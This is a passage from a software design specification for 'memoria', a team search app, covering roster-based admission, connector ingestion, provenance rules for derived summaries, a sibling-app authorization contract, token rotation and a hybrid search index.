this content **memoria is the authority** — not a copy, so there is
nothing to drift from.

**What that authority consists of, precisely, because draft 3 said
"memoria's own members and grants" and memoria has neither.** There is no
members table (decision 11, §2) and there are no per-person grants:
holding grants would be an authorization model, which §4.3 says memoria
does not have. The test is two facts and nothing else:

1. **the asker is admitted** — §4.3's answer, which since suite
   ruling 4 is the home's roster in suite shape and the owners list
   in lone shape. A statement about the *team*, not about this
   document; and
2. **the document is present in memoria and not deleted.**

So memoria-owned content is team-wide by construction. Anything a
connector or an upload puts in is offered to everyone the siblings call a
member of this team, and the only revocation is deletion. That is a
strong thing to say of a Drive folder, which is why §3.6's README says it
in those words, why §3.5 makes least-privilege connector credentials a
requirement rather than a nicety, and why §4.3's predicate has to mean
member rather than guest: fact 1 is the whole of the door.

This is the honest resolution of gap 3, and it costs something that must
be said plainly rather than implied: **revoking a Notion page from the
integration does not revoke it in memoria.** The content was published
into memoria and memoria now owns it; removing it is an act performed *in
memoria*. §3.6's claim does not pretend otherwise.

**Amended 2026-09-05 by the Notion ingest design** (§3 of
`2026-09-05-notion-ingest-design.md`). This paragraph used to end "§5.1's
enumeration diff is a convenience that eventually notices upstream
deletions, not an authorization mechanism". It no longer does, because
the first connector built under it does not delete on absence at all.
The reason is that memoria is being adopted as a *replacement* for
Notion, not a mirror of it: under a replacement, archiving a page
upstream after migrating it is the intended workflow, and a
diff-and-delete connector reads that as "forget it" — deleting from the
app of record the document the migration existed to preserve. A
convenience that eventually notices deletions is the wrong convenience
when deletion upstream is the goal.

The cost is real and is carried rather than buried: a page deleted
upstream *because it should not have been shared* stays indexed and
readable by every admitted person, with no notice. Connectors therefore
record `last_seen_at` per item on every enumeration, so "no longer in
the source" is answerable later without a migration. Keeping the
documents is a decision; being unable to list them is not licensed by
it.

### 4.3 Admission comes from the roster

#### Optional Home sign-in for an existing local account (2026-09-10)

Home authentication can be enabled while admission still uses the existing
`MEMORIA_OWNERS` list. This is an authentication adapter for lone shape, not
roster activation. An opaque Home subject gains no membership or content access
until the person independently proves their existing local account and confirms
its connection to Home. Shared `home/connect` handles fresh proofs, browser
binding and assertion replay protection.

Memoria has no numeric people table. The adapter therefore allocates a stable
local identity ID only at the explicit linking entry, after a fresh verified
magic-link or Keymail session. Its address is encrypted with a distinct,
row-bound purpose; a keyed fingerprint provides the lookup. Ordinary assertion
handling and account lookups never allocate identities. These bindings are
per-person records in addition to the existing encrypted breaker tallies. They
contain no content, membership or grants. Current admission is rechecked at each
lookup and protected request; removing an address from configured owners also
refuses existing Home sessions.

Home sessions carry the opaque Home subject and a distinct method. The adapter
resolves that subject through the confirmed binding to the original verified
local address. Existing owner checks and S2 `SubjectAddress` questions use that
address; nothing rewrites documents, provenance, source coordinates or custody.
Disabling Home refuses remaining Home sessions instead of interpreting their
subjects as email addresses.

The optional configuration is `MEMORIA_HOME_ISSUER`,
`MEMORIA_HOME_CONSUMER_ID`, `MEMORIA_HOME_KEYS_BASE64` and
`MEMORIA_HOME_DEK_BASE64`. Partial configuration refuses startup. The last value
is a dedicated exchange key, separate from the content DEK.

The additional surface is `GET /signin/local`, `GET /signed-out`,
`GET /auth/start`, `POST /auth/assertion`, `GET /auth/finish`,
`GET /auth/local/complete`, and GET/POST pairs at `/account/home` and
`/account/home/confirm`. Only the assertion callback accepts an exact configured
cross-origin issuer; all other mutations retain CSRF protection. The normal
`/signin` starts Home handoff when enabled. Local email verification remains
available for first-time connection, including explicit `force=1` fallback.
Sign-out revokes the app session, then (home/connect 01166fc, shared chrome
§9.5) hands the same POST on to `{issuer}/signout` with a 307, which ends the
Oficina session too and returns the browser to `/signed-out`.
`HOME_DIRECTORY_ORIGIN` (optional, validated with the rest) names the hub
directory, where the app switcher's "All apps" goes.


**Admission is the home's roster — suite §5.3, ruling 4.** memoria holds no
members table of its own and asks no sibling. In **suite shape** it pulls
the roster (suite call 8, consumer token, roster epoch in every response)
and admits from it. The epoch rides the home's own responses — calls 2, 5
and 8 and the assertion — and **sibling calls carry none, deliberately**
(suite §5.3), so nothing in S1, S2 or S3 grows a membership field. In
**lone shape**, where there is no home, admission is the owners list,
exactly as slice 0 does today.

Draft 2 had memoria keep its own members table, and the draft-2 review
showed why that fails: S2 protected sibling content, but admission and
§4.2's memoria-owned content both used memoria's own list, so a person
removed everywhere else could still sign in and read the team's Notion
pages, Drive files, forwarded mail and uploads. That failure is real and
the roster fixes it. What draft 3 got wrong was the *replacement*.

**What this replaces, and why it was broken.** Decision 11 admitted a
person if **at least one sibling answered `MEMBER`** to a call `S7`. Two
things were wrong with it. The small one: it cached membership for the life
of a session, and ruling 3 now says authorization is never cached at any
scope — the word "session" in the doctrine's first draft came from *this
rule*, and folding admission into authorization is precisely the
conflation the roster split exists to remove. **Custody and admission are
person-less or roster-shaped; authorization is per asker, per query, never
cached. They are three different things and S7 blurred two of them.**

The large one: **`MEMBER` has no value for a guest.** A guest is not on any
roster, so "at least one sibling says MEMBER" is undefined for exactly the
person the rule most needed to exclude — and memoria's own §13 carried
that as an open question it could not answer from inside decision 11.
Under ruling 4 it answers itself: guests are never on the roster. **S7 is
retired.**

Three consequences worth keeping:

- **No roster, no admission.** Fail closed: an unreachable home means
  nobody new signs in, which is an outage, where the alternative is
  admitting someone nobody can vouch for. In lone shape the owners list is
  local and this cannot arise.
- **A stale roster stops team standing for everybody, sessions included.**
  Within the TTL the pulled copy is enforced as it stands. Past the TTL
  with no successful fetch it is stale, and team standing stops being
  established for anyone — **including people already in a session** — so
  S2 answers `UNKNOWN` and the page withholds loudly. An unfamiliar roster
  generation holds the stale copy until an owner confirms it. Suite §5.3,
  gate 5.
  *This spec said the opposite until 2026-09-05: "a session already minted
  survives an outage for its TTL". That is the doctrine's revision-3
  position, which it retracted — on a 30-day sliding session it is an
  outage-length revocation tail, the very thing the paragraph claimed to
  reject, and it is the same tail §13 had been carrying as an open defect
  of S7.*
- **memoria still holds no authorization model.** It holds no answer of its
  own; it reads a roster and relays it, and §4.1 governs every passage
  after the door.

**Draft 4's hardest finding survives the call it was about, and it is why
the roster is the right answer rather than merely the doctrine's.** It
found that `MEMBER` had to mean *member of this team* and not *known to
this app*, because Sheets §8.2 and Docs §8.2 both describe sharing as
membership — so a person granted a single sheet is a member there, in
those specs' own words. Under the old rule that person was admitted to
memoria, and §4.2 then handed them every Notion page, Drive file,
forwarded mail and upload the team holds. **One shared sheet bought the
whole corpus.**

Asking a sibling could never cleanly separate the two questions, because
the sibling only knows its own. A roster held by the home answers *member
of this team* and nothing else, which is the property draft 4 was reaching
for and could not get from S7.

**Slice 0 has no home and no siblings, so admission is the owners list
and nothing else**, and the spec should say so rather than leave a reader
to infer a table. Until a home exists, the only people admitted are the
platform-configured owners the app refuses to start without. That list
admits operators, it is not a roster, and **it does not grow**: when a home
exists, everyone who is not an owner comes from the pulled roster (suite
call 8). Extending the owners list one person at a time would be the
members table decision 11 rejected, arriving under another name.

*This paragraph said "slice 0 has no S7" and "everyone who is not an owner
comes from S7" until 2026-09-06 — inside the section that retires S7,
reintroduced by the merge from a branch written before ruling 4. §1.10's
rule is to grep the retired thing by name; this is what it catches.*

No guests, no anonymous link viewers — and after this section, no guest
of a *sibling* either. Admission is not authorization: an admitted person
still sees only what §4.1 and §4.2 allow.

The suite attribution page (`GET /help/open-source`, 2026-09-11) used
this same session gate until the shared chrome (estilo spec/shared-chrome
§8.4, 2026-09-30), which has the sign-in page link to it while signed
out. It is now **public**: it serves embedded software notices and
nothing about the team — no content, no passage counts, no document
names. Signed in, it still shows the viewer's own bar and account menu;
signed out, the bar's Sign in. It creates no session. Its stylesheet is
a public static asset, like the other stylesheets.

---

## 5. Ingestion

**Ingestion is an authorisation event, never a sweep.**

**From a sibling (§6):** the change feed offers items the sibling marks
team-visible. That mark is the *custody* gate of decision 3 — it bounds
what memoria holds. It is not the authorization gate; §4.1 is.

**What "team-visible" means is suite ruling 15's, and it is narrower than
it sounds.** An item sits on one of three rungs — *private*, *granted* to
named people, or *team* — and **only the `team` rung is team-visible**. So
custody keys on the rung and **never on a read-only link**: a link
capability makes an item readable by whoever holds the URL, which is not
the same as the team being able to find it. Treating a link as
team-visible would turn a capability held by whoever was sent it into a
row every team member reaches by search — which is the specific mistake
ruling 15 rejects, and it would arrive here, at ingest, where memoria
decides what to hold.

Two consequences memoria must not paper over. A `granted` item is outside
custody **even when the asker holds the grant**, which is why §4.1's
intersection sits at the sibling and why a person can lose a passage here
while the document stays open to them at the source. And an item that
moves from `team` to `granted` leaves custody: it arrives as `gone` in S1,
indistinguishable from deletion by §4.2's design, and memoria deletes
rather than downgrades.

**From outside the suite:** an admin configures a connector, and the
sharing act at the far end is the publish.

### 5.1 What a connector must supply

A stable external id, a change feed (or an enumeration cheap enough to
diff), a mapping onto memoria's custody rule, an extractor, and a delete
signal.

| Source | Id | Feed | Custody maps | Extract | Delete | Verdict |
|---|---|---|---|---|---|---|
| Oficina siblings | ✅ | ✅ | ✅ team-visible mark | ✅ | ✅ tombstone | Full; §4.1 governs reads |
| Google Drive | ✅ | ✅ changes API | ❌ per-file | ✅ | ✅ | Publish-gated; §4.2 governs |
| Notion | ✅ | ✅ traversal from shared roots | ❌ | ✅ | ❌ **none, and none used** | Publish-gated; §4.2 |
| Email | ⚠️ Message-ID | ✅ UID / history id | ❌ **fundamentally** | ✅ | ⚠️ Gmail only | Forward-only; §4.2 |
| Files | content hash | ❌ | ❌ | ✅ | ❌ | Upload only; §4.2 |

**Only the siblings supply all five**, and only they get §4.1's live
re-check. Everything else is memoria-owned by §4.2.

**Email cannot be swept.** A thread's audience is the three people on it;
the team is twenty. Mail enters by forward-or-label only.

**An enumeration diff must distinguish an authoritative empty result from
a failure** before deleting anything. A timed-out, rate-limited,
partially-paginated or credential-expired enumeration returns *no
information*, not *no documents*; treating the second as the first purges
the corpus silently. Gate 7.

**Amended 2026-09-05, two changes from building the Notion connector.**

*Notion's feed.* This table said `⚠️ last_edited_time polling`, which
assumed `/v1/search` could enumerate a workspace. Notion documents that
it cannot: search "is not guaranteed to return everything", and **no
field in the response says the result was partial**. An enumerator built
on it reports a complete import while missing pages — this design's worst
failure shape, reachable with no error anywhere. Connectors enumerate by
*traversal* from the roots the integration was explicitly shared with
(search is documented as complete for those alone), which is
cursor-verifiable and yields ancestry as a side effect.

*Notion's delete.* Now "none, and none used" — see the amendment in §4.2.
Gate 7's rule above stands unchanged for connectors that *do* delete;
Notion's connector satisfies it trivially by having no path that deletes,
which is a stronger position than a completeness predicate that has to be
right every time.

### 5.2 Deletion, and the hard case

Chunks and vectors are rows under memoria's DEK; they go on the tombstone
or the next diff. §7.4 covers the snapshot ordering that makes a deletion
survive a restore.

The hard case is derived content, because a fact outlives its source.

**Ruled (decision 8): every derived artefact carries provenance as
`(source_id, revision)` pairs, and is deleted or regenerated when any of
them stops resolving *or moves to a new revision*.**

**And it records the model that produced it, beside that provenance**
(decision 4, widened 2026-09-05). Not for attribution's sake: an artefact
is *regenerated* when a source moves, so the model that made the row a
reader is looking at is often not the one that made it first. Without the
producing model stored alongside, a regenerated artefact silently inherits
the name of its predecessor — a naming requirement that reports the wrong
name is worse than none, because it is believed. Draft 1's rule was
id-level, which left "the Q3 target is X" standing after the source
changed to Y — provenance that resolves and is wrong.

**A derived artefact expands to its full provenance before §4.1 runs**,
and **every source must pass, under whichever authority owns it.** One
failure withholds the whole artefact. Without this a summary is a
laundering channel for a single downgraded input.

Draft 2 said this and specified it only for siblings, which the draft-2
review caught: S2 exists nowhere else, so an external source had no check
at all and a *mixed* artefact had no rule for combining two authorities.
The full algorithm:

1. **Partition the provenance** by owner — sibling `(id, revision)`
   pairs on one side, memoria-owned `(id, revision)` pairs on the other.
   There is no third class, and a derived artefact's id is not a
   provenance entry; that is what the flattening rule below is for.

   **Both sides carry a revision, and draft 4's did not.** Draft 4 wrote
   "memoria-owned root *ids*", which reads as a small simplification and
   is decision 8 half-applied: the decision is "provenance or deletion, at
   `(id, revision)` granularity … *or whose source changed*", and an id
   alone cannot say that a source changed. A summary built from revision 1
   of an uploaded contract was served unchanged after someone uploaded
   revision 2, citing the upload correctly and describing the wrong
   document — the id-level rule decision 8 was written to replace,
   surviving on the half of the corpus nobody had checked. So a
   memoria-owned document carries a revision, bumped on every re-ingest,
   re-upload and connector update, and its roots record it.
2. **Sibling pairs go to S2**, batched, cap 256 per call, as many calls as
   the provenance needs. `VISIBLE` for every pair or the artefact is
   withheld. `STALE` on any pair means the artefact is out of date, not
   forbidden: regenerate it, do not speak it. `AHEAD` on any pair means a
   source has been restored behind memoria (§4.1): withhold, re-announce,
   delete nothing.
3. **memoria-owned pairs are checked against §4.2's two facts, plus the
   revision** — the asker is admitted, the document is present and not
   deleted, **and the recorded revision is the document's current one.**
   A superseded revision is not a denial and is not a permissions
   failure: it is decision 8's "the source changed", so the artefact is
   **regenerated, not spoken** — the same treatment `STALE` gets on the
   sibling side in step 2, for the same reason. The two facts are the
   whole *authorization* test, because for this content memoria is the
   authority rather than a copy and holds no grants of its own to
   consult; the revision check is a currency test sitting beside it, and
   collapsing the two is what let draft 4 drop it.
   **Note what that makes load-bearing:** the only door in front of every
   memoria-owned source is §4.3's admission, which is why §4.3's
   predicate has to mean member and not guest, and why its cache has a
   number.
4. **A mixed artefact needs both to pass.** There is no precedence rule
   and no fallback: authorities are ANDed, because an artefact is a claim
   about all its sources at once.
5. **Provenance that cannot be partitioned** — a source whose owner is
   unrecorded — withholds the artefact and is logged as a defect. A
   derived artefact that cannot say where it came from is decision 8's
   unresolvable-provenance case and gets deleted, not served.

**Provenance is flattened to roots at generation time, because it is not
otherwise transitive.** Draft 3's algorithm partitioned by owner into two
classes, and a derived artefact is memoria-owned — so an artefact built
from another artefact landed in step 3, whose entire test is presence in
memoria. The first artefact's sibling sources never reached S2. Two hops
launder exactly what one hop is written to stop: summarise a Sheets
document, then summarise the summary, and the second summary is speakable
to a person Sheets would refuse. Nothing in draft 3 forbade the second
hop, and nothing would have noticed it.

So an artefact carries **two lists, and only one of them authorizes**:

- **`roots`** — the `(id, revision)` pairs, sibling and memoria-owned
  alike, that the artefact
  ultimately rests on, resolved at generation time by substituting each
  contributing artefact's own `roots` for its id. This is the list §4.1
  runs against, and by construction it holds no artefact ids, so step 1's
  partition is total for the same reason §4.1's decoder is.
- **`built_from`** — the ids of the artefacts this one was generated
  from. It exists so that regenerating or deleting an intermediate
  propagates downstream, and **it is never consulted for authorization**.
  Keeping the two apart is the point: one list answers "may this person
  see it", the other answers "is it still current", and draft 3 had a
  single list trying to be both.

Three rules fall out, and each is an assertion rather than an intention:

- **An artefact id appearing in `roots` is a defect**, not a case to
  handle. It means flattening did not run, and it withholds the artefact
  under step 5.
- **An artefact whose sources cannot all be flattened is not generated.**
  If a contributing artefact's own `roots` do not fully resolve there is
  nothing to inherit, and generating anyway produces an artefact whose
  provenance is a guess wearing a list's clothes.
- **A cycle in `built_from` withholds every artefact on it and is logged
  as a defect.** Nothing in this design creates one, which is precisely
  why nothing would catch it.

Flattening is also what makes §4.1's 256-pair cap load-bearing rather
than decorative: an artefact three hops deep fans out to every root of
every ancestor, and that fan-out is the number §4.1 says to measure
before committing the constant.

**Where derived artefacts live:** memoria's own store, sealed like any
chunk, indexed and searchable — and therefore subject to §4.1 through
their provenance, never on their own account. They exist only with AI on,
and their regeneration is a model call whose cost §8.6 counts.

**memoria never fine-tunes**, because weights are the one copy that
cannot be forgotten.

### 5.3 What "continuously evolving memory" honestly means

Re-index on change — a search index, honestly named. Derived notes
regenerated when sources change — a materialised view with provenance.
Updated weights — never.

**The smallest honest version is the first two.** It is a cache over
sources. For sibling content it forgets when the sources do, because
§4.1 asks them. **For memoria-owned content it forgets when someone tells
it to** (§4.2); draft 1's claim that it "forgets exactly when the sources
do" was false for that half.

---

## 6. The sibling contract

Decision 1 makes cross-app pull legal. Nothing yet makes it possible:
every home contract call is instance→home or person→home, home §6
rejected a re-announce sweep because it "has no channel to reach
instances", and `aud` binds every assertion to one host.

### 6.1 The calls

All are memoria → sibling, all pulls. **Push is rejected on three
grounds:** a sibling outbox drains on wake and share mutation, not on a
ticker (Sheets §9.1.1), adequate for a hint and useless for content; push
would wake a hibernating memoria on every keystroke in three apps; and it
inverts custody, since each sibling would hold a memoria token and
memoria would grow an inbound surface it does not have.

memoria pulls on its own wake and on each question. It runs no timers.

| # | Call | Notes |
|---|---|---|
| S1 | Change feed | Cursor is an opaque position in the sibling's event log, issued by the sibling, stored per consumer. **A revision is opaque too:** memoria tests revisions for equality and never orders them (§4.1). A row is `(item_id, revision, gone, touched_at)` — **no title, no content, no visibility flag** — so it passes the plaintext-grep gate unaided. Retention is a **per-consumer TTL** (home §9.1: "any 'prune when all consumers have caught up' is unbounded in a hibernating fleet"). Past TTL, or a restore-rewound cursor, takes a full re-announce. |
| S1a | Re-announce | The complete form of S1, and §4.1 makes it load-bearing rather than a recovery convenience. Opens with a marker, lists **every** item the sibling currently holds as team-visible, closes with a marker carrying the item count. Paginated; the cursor it issues is valid only once the closing marker is read. **An announce that does not close, or whose count disagrees with what memoria received, has failed and authorises no retirement** — gate 7's rule. |
| S2 | Authorization re-check | `(subject, [(item_id, revision)]) → VISIBLE / NOT_VISIBLE / STALE / UNKNOWN` per item, **plus `AHEAD` once the contract carries it** — see §4.1, which records that memoria wants a fifth value and `suite.Authorization` has four. Asker is a **typed subject** with its kind on the wire (suite §3); **the sibling intersects its answer with custody** (suite §4.3) — §4.1 explains why memoria depends on that and cannot do it itself. Total decoder, cap 256 pairs. **Never cached, at any scope** (ruling 3). |
| S3 | Content fetch | **`(id, revision)`, no person** → plaintext body over TLS into memoria's RAM only. The sibling answers only for items that are **team-visible** — the custody predicate, not the grants join — and **404s, never 403s**. This is an ingest call and there is no asker on the ingest path. |
| ~~S4~~ | Tombstone | *a feed row, and no number is reserved for it* (suite §6). `gone` covers deletion and departure from team-visibility, indistinguishably. Numbering a non-call is how a table starts reading as a contract. |
| ~~S5~~ | Consumer expiry | *no call, and no number.* TTL expiry is the decommission verb. |
| S6 | Aggregate | `(subject, fn, [(sheet, tab, row, col, revision)…]) → {value, display, format_code}` or `STALE(cell)` / `NOT_VISIBLE` / `UNKNOWN` / `NON_NUMERIC(cell)`. **Units are not S6's job**: `MIXED_UNITS` and `UNIT_UNKNOWN` are memoria's verdicts, reached before the call, because Sheets cannot see the header words memoria indexed (§8.7). Cap 64 cells. Typed subject and the custody intersection, as S2. Never cached. **Specified, not built** — suite §12 step 4. |
| ~~S7~~ | ~~Team membership~~ | **RETIRED 2026-09-05.** It existed because there was no roster of record; suite call 8 is that record, and admission is §4.3's. Draft 4's hardest work on it — that `MEMBER` must mean "on this team's roster" and never "known to this app", with `INDETERMINATE` for a sibling that cannot tell them apart — is the property the roster has by construction, and §4.3 carries the reasoning. Its 15-minute cache was the conflation of admission with authorization that ruling 3 now forbids outright. |

**Draft 1's S1 row carried a `visible-to-team` field, and that was a
leak.** With it, a `visible=false, gone=false` row tells memoria that a
guest-only item exists, at what revision, and when it was touched —
exactly what S3's "404s, never 403s" was designed to hide, and unnamed in
the leak list. Removed: departure from team-visibility is simply `gone`.

**"A stale index costs a miss, never a leak" — narrowed twice.** Draft 1
stated it unconditionally and it was false for retraction-by-edit. Draft 2
fixed that with a revision on S2 but mapped the failure to `NOT_VISIBLE`,
which is silently omitted — so it cost a *silent* miss, which is the
failure it was supposed to prevent. It holds now only because S2 carries
the revision **and** answers `STALE` distinctly. All three clauses travel
together or the sentence is false.

**S3 takes no person, and the reasoning went wrong twice before landing
here.**

Draft 2's S3 took `(id, revision)` and *claimed* the sibling "re-runs its
grants join at fetch time". The draft-2 review correctly called that
impossible: no asker, no grants join.

Draft 3 fixed it by adding `person_ref`. That was the wrong fix, and a
review of the built code found two consequences. **There is no person on
the ingest path** — memoria pulls on its own wake, and the warm-up, the
rebuild and derived-artefact regeneration have no asker either — so the
call that fills the corpus could not be made. And a per-person S3
*succeeds* for individually-granted rows, because Sheets §4.5's join is
"rows this team can see, **plus rows granted to me individually**" — which
would pull into memoria's store exactly the content §6.4 forbids and §3.3
claims it cannot hold.

**The error was collapsing two rules decision 3 keeps apart.** Custody
bounds what memoria may *hold*: team-visible only, no person involved,
and that is S3's predicate. Authorization decides what a person may
*read*: per asker, per query, and that is S2's, at render time. Draft 2's
S3 had the right signature and a false comment; the fix was to delete the
comment, not to add a person to the call.

So: **S3 is custody-scoped and person-less. S2 is the only per-person
gate, and nothing is spoken without it.**

**The definitions above are no longer memoria's to state.** Suite ruling 7:
one contract, one Go module, fixtures as the interface — every app imports
`amadan.net/oficina/suite`, serves its half, and passes the conformance
suite in CI. An app spec cites the doctrine and never restates it, because
each spec restating the contract in its own words is exactly what drifted.
So **S1, S2, S3 and S6 are the module's**, and what survives here is
memoria's own reasoning about them: why S3 carries no person, why the four
S2 values are four, what a slow sibling costs. The wire shapes are the
module's and the fixtures are the interface.

**S6 is cited as a specification, not as a fixture, and that is
deliberate.** The module on `main` is S1, S2 and S3; there is no S6 fixture
to conform to yet. Suite §12 **step 4** builds it — after memoria's slice 1
and before slice 2 — so §8.7's numeric path cites a call that is scheduled
rather than one that exists, and picks up the fixture when it lands.
Nothing else waits on it: **slice 1 needs S1, S2, S3 and §4.1 only.**

*Suite revision 5 left S6 in the contract table with no step at all, which
let a numbered call read as a finished one; revision 6 gave it a step and
put it before slice 1, implying a dependency that does not exist; revision
7 placed it at step 4 and said so in the step. Recorded because "cite S6"
meant three different things in one evening.*

### 6.2 Authentication, and rotation

**Per-consumer bearer tokens, minted by the operator drain, delivered as
platform config at provisioning.** Home §9 already works this way. The
drain mints memoria's tokens and writes each sibling's `consumers` row.
The home never sees a sibling token.

Three alternatives rejected: **the home issues the token** (breaks home
§7's "the home holds no provisioning credential", and breaches home §2.2 the
moment it decides which origin gets one); **a team-scoped shared secret**
(cannot rotate per consumer); **mutual TLS** (TLS terminates at Carloku's
router under a wildcard certificate per app zone, home §4, so the app
never sees a client certificate).

**Rotation is a three-phase handover, and draft 1 specified none.** A
single-token row cannot rotate without a window in which one side is
wrong: update the sibling first and the old token breaks; update memoria
first and it sends one the sibling will not accept. So a `consumers` row
holds **up to two hashed tokens, each with an epoch**, and the drain:

1. **Expands acceptance** — writes the new token alongside the old at
   every sibling. Both accepted.
2. **Switches the sender** — delivers the new token to memoria as
   platform config.
3. **Contracts acceptance** — retires the old token at every sibling,
   only after memoria is observed using the new one.

Each phase is idempotent and re-runnable, so a partial delivery across
three siblings is recovered by repeating the phase. Emergency revocation
skips to phase 3 and accepts the outage.

**The mutable `(cursor, TTL, epoch)` state is created lazily by the
sibling on first contact.** Platform config delivers the token, not the
row: home §6 is explicit that no channel exists to push one.

### 6.3 What stops team X reaching team Y

Team identity is the hostname label, per home ruling 16:
`<team>.<app>.oficina.works`.

**Two barriers, not the three draft 1 claimed.** Both reviewers caught
this and they were right:

1. **The sibling's `consumers` row** — a credential *and* an origin
   allowlist, but one row read two ways. A bearer token is the origin
   claim; nothing verifies origin independently. One drain mis-write
   defeats both. Counting them separately overstated the defence.
2. **memoria's client refuses any host whose `<team>` label differs from
   its own** — genuinely independent, test-enforced against a fixture of
   hostile hostnames, **and it must refuse to follow redirects**, which
   draft 1's fixture would not have exercised.

**Barrier 2 is not a boundary against the §3.3 threat model.** An
attacker with code execution on memoria bypasses memoria's own client
trivially. It is a real guard against accidental cross-team dialling and
against a mis-provisioned host, and that is what it is claimed as.

Same-team membership is *provenance*, not a runtime query: the drain
provisioned the hosts together. **The home is not on this path at all**,
which is how home §2.2 survives decision 1.

### 6.4 What decision 1 does not license

Any hop across a `<team>` label. Any instance presenting an assertion.
**Any write except suite §7: a person's own hand-off, and S8 as memoria
itself into its designated area.** Any sibling item outside the
team-visible custody rule. The home in the loop. Content leaving the four
hosts, except §8.3's named provider, which is a disclosed exception and not
a sibling.

**The write exception is narrow and it is suite ruling 9's: a write names
its real actor, and no sibling ever acts as a person.** Two forms and no
third — the hand-off (suite §7.1) and S8 (suite §7.2) — and **the wire
shapes are the doctrine's, cited here and not restated.** An earlier
version of this paragraph described the hand-off as "memoria renders a
form that POSTs to the receiving app's create endpoint; memoria is not in
the write at all, it only drew the button", which is the drifted
restatement ruling 7 exists to prevent, and it drifted in the direction
that made memoria's own obligations disappear.

**memoria's own obligations, which are the part that belongs here:**

- **The destination is validated against memoria's own `<team>` label
  before the form is rendered.** memoria is in the write to that extent —
  it chooses where the button points.
- **A `form-action` CSP allowance** for the receiving origin, in memoria's
  rastrillo config. Gate 4's log rule runs on memoria's side of this, and
  the receiving app's create endpoint commits on receipt only after its own
  confirmation step (suite §7.1: "a create endpoint that commits on receipt
  is a drive-by"), which is the receiver's obligation and not ours.
- **On-behalf-of writes are refused for good**, because a sibling token
  that can write as a person is a write capability over every member's
  identity.

This spec previously forbade all writes, which was simpler and also
forbade a person clicking "save this to Docs" with their own hands.

### 6.5 Availability: the deadline, and what a slow sibling costs

Draft 2 had none of this, and the draft-2 review was right that it is the
finding most likely to change the product rather than the spec. Every
search now calls every contributing sibling, any of which may be cold, and
"withhold loudly" said what to do on failure without saying when failure
is declared.

- **Deadline: 800 ms per sibling, all siblings called concurrently.** One
  page of results is one round of calls, so the page's floor is the
  slowest sibling, not their sum. The number is a starting assumption, not
  a measurement — §13 carries the obligation to measure it before slice 1
  ships.
- **A sibling past its deadline is `UNKNOWN`**, which withholds its
  passages loudly and renders the rest. **Partial pages are the normal
  case, not an error path**, and the page names what is missing and from
  which app.
- **A cold sibling is a wake, and a wake is slower than a deadline.** The
  honest consequence: the first search after a quiet period reliably
  withholds. So memoria **polls S1 at every configured sibling on its own
  wake**, before anyone has searched, to spend that latency where nobody
  is waiting. In suite shape it pulls the roster (suite call 8) on the same
  wake, for the same reason and on the same grounds: call 8 carries a
  consumer token and no asker.
- **Draft 3 said "fires S7 and a warm-up S2 on its own wake", and that
  call cannot be made.** Both take a person ref and there is nobody there
  on a wake — the same error as draft 2's per-person S3 (§6.1), repeated
  three sections after the correction for it was written. S1 is the call
  that already has no asker, it is the call memoria makes on wake anyway,
  and warming a sibling is warming a sibling whichever endpoint does it.
  A warm-up naming a person is a warm-up no fixture could ever have
  received, which is how it survived a draft.
  *The suite branch then wrote "pulls the roster and fires a warm-up S2",
  which is the same mistake with one of its two halves fixed — the roster
  pull is asker-less and fine, the S2 still is not. Corrected on merge,
  2026-09-06.*
- **A reliably slow sibling produces permanent withholding**, which is
  worse than it sounds: the product's primary path degrades to "Sheets did
  not answer" forever, and a reader learns to ignore the notice. There is
  no design that fixes this while failing closed. **The stated position
  is that this is a suite health problem surfaced by memoria, not a
  memoria problem to route around** — and if it happens, the answer is to
  fix or drop the source, never to cache its authorization. (§4.3's S7
  cache is not an exception to that sentence and §4.3 argues why: this
  clause is about a sibling's answer on a *passage*, which is never
  cached and never will be.)

**Each of these is a number a gate can assert, and draft 3 asserted none
of them.** Gate 23 holds the deadline and the concurrency together,
because either alone passes on the other's failure: a sibling sleeping
past the deadline must not add its latency to the page, *and* three
siblings called at once must not cost three times one sibling's time.
Gate 24 holds the warm-up: every configured sibling receives its S1 poll
**unprompted, within a stated few seconds of the app coming up, with no
query issued at all.**

*This read "before the query handler serves its first request" until
2026-09-07, which is the ordering §10's own gate 24 works through and
rejects as unwritable either way — asynchronous it is a race between
goroutines, synchronous it puts three sibling wakes in front of the first
reader and undoes the warm-up's entire purpose. §10 had the corrected
form; this sentence did not, and the code cites §10. Found by a review of
the branch that built it.*

---

## 7. The index

The design Docs §15 item 2 recorded as missing: *"An FTS5 index is
plaintext in SQLite and would fail our own gate; decrypting the corpus
per query is O(corpus)."*

**Hybrid BM25 + dense vectors, fused by reciprocal rank, both sealed at
rest and resident in RAM while awake.**

### 7.1 FTS5 is available cgo-free

**Verified independently by both reviewers**, each building a static
binary against the suite's pinned `modernc.org/sqlite v1.55.0`:
`CGO_ENABLED=0` created `fts5(body, tokenize='porter unicode61')`, ran
`bm25()`, reported SQLite 3.53.3, and `pragma_compile_options` contained
`ENABLE_FTS5`.

Per §3.1 its postings are plaintext, so the FTS table lives on
non-replicated scratch or in memory and is snapshotted to the bucket as a
sealed blob. **Whether CARLOS provides non-replicated scratch is
unverified — §13.**

### 7.2 The arithmetic, derived

**One corpus assumption drives every number below.** Draft 1 used 90k
chunks for memory and 60M tokens for cost, which are inconsistent; both
reviewers caught it.

> **90,000 chunks at the measured 202 words / 1325 bytes each** — about
> **24M tokens** and **114 MB of text**.

**Stated in chunks, because documents vary too much to convert.** Draft 3
wrote "30,000 documents × 3 chunks"; the benchmark's own corpus averages
**11.8** chunks per document, so this ceiling is roughly **7,600 documents
of the kind measured**, not 30,000. Any figure quoted per-document is
wrong by about 4×. The ceiling is a chunk count and only a chunk count.

The token figure follows from the measured chunk (202 words ≈ 270 tokens),
not the 400-token target: **24M, not the 36M draft 3 carried into §8.6.**

**Vectors.** 512-dim Matryoshka embeddings, stored **int8-quantised**.

**512 is a client-side truncation, not a requested dimension.** The
parenthetical this replaced — *"OpenAI's `-3` models accept a `dimensions`
parameter"* — is true of OpenAI and false of the provider §8.3 selects.
`qwen/qwen3-embedding-8b` emits **4096 fixed** and *fails the request* if
`dimensions` is sent. The pipeline therefore keeps the first 512 values and
**re-normalises to unit L2**. That is valid because the model is trained
Matryoshka.

**Search computes a raw dot product over vectors stored unit-normalised**,
not a cosine that divides by norms at query time. §7.3's `2 × N × D` flop
figure already assumed this and the spec never said so. It matters here:
**cosine is scale-invariant, so against a true cosine a skipped renormalise
changes no ranking at all** — a gate written over cosine could not fail,
which is the shape AGENTS.md says this codebase has already shipped three
times. Over a raw dot product the same omission silently reorders results.
So the earlier draft of this paragraph, which said "cosine similarity then
degrades smoothly", was wrong twice: cosine does not degrade, and the thing
